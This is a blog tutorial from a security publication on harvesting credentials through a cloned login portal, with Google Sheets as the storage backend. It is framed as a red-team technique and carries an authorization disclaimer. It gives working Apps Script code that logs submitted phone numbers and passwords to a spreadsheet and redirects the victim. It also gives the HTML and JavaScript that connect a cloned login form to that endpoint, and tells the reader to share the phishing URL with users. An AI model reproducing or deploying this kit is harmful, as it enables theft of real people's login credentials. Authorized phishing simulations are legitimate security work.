InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Follow publication

Phishing using Google Sheets for Red Team Engagements

For educational purposes only. Unlawful use of phishing techniques is prohibited. Use responsibly, with proper authorization. Creators disclaim any liability for misuse.

This method which you will see will be very useful when you are engaged in a red team assessment or any kind of social engineering assessment where the environment includes internal systems like Employee Portals and other Company-related portals. And also this will only require a simple python server to host.

Before integration of Google Sheets , you will require to clone the exact Portal or website you’re going to using as the bait. Then you will have to examine the code where username and passwords inputs are founded.

I’ll not talk about cloning a website here because there’s many sources to check on how to clone a website :)

Phishing using Google Sheets

  1. Navigate to Google Sheets and create a sheet
  2. Navigate to Extensions > App Scripts
App Script

3. Add below script to the Code.gs

// Google Apps Script code
var SPREADSHEET_ID = 'YOUR_SPREADSHEET_ID';

function doPost(e) {
var phone = e.parameter.phone;
var password = e.parameter.password;

// Open the spreadsheet using its ID
var sheet = SpreadsheetApp.openById(SPREADSHEET_ID).getActiveSheet();

// Append the data to the sheet
sheet.appendRow([phone, password]);

// Redirect to google.com
return ContentService.createTextOutput('<script>window.location.href="https://www.google.com";</script>').setMimeType(ContentService.MimeType.HTML);
}

Now Replace ‘YOUR_SPREADSHEET_ID’ with your SpreadSheet ID which can be founded in your created Google Sheet URL.

It should look like below,

Spreadsheet ID

Change below Input fields according to your web application

// Append the data to the sheet
sheet.appendRow([phone, password]);

Change below URL which you need to redirect the user once the credentials are given

// Redirect to google.com
return ContentService.createTextOutput('<script>window.location.href="https://www.google.com";</script>').setMimeType(ContentService.MimeType.HTML);

Once changes completed, Deploy the App Script using Deploy Option

Select the Web App option as shown below

Select Type

Then Authorize the Web App with your Google Account

Authorize

Now Copy the sharable script URL and move to the cloned web app and a place this sharable script URL inside the <head> </head> tag

<!DOCTYPE html><html><head >
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>TEST</title>
<script src="https://script.google.com/macros/s/tttttttttttt/exec"></script>
</head>

Finally, Place below code after the Login Input Form by calling your Inputs

<script>
function submitForm() {
var phone = document.getElementById("phone").value;
var password = document.getElementById("password").value;

// Call the Google Apps Script function with the form data
google.script.run.doPost({ phone: phone, password: password });
}
</script>

Now Host your Web App in a VPS or your preferred environment and Test the Login Page. Once tested you will see that the Credentials are captured in the Google Sheets as below.

Login Results

By this way you will not require any PHP or any other functions where you could host a simple python server in your VPS and Share the Phishing URL to the Users

Thank you for reading, and stay tuned for more insightful write-ups. Your continued support is greatly appreciated!

Sign up to discover human stories that deepen your understanding of the world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

Published in InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

No responses yet

Write a response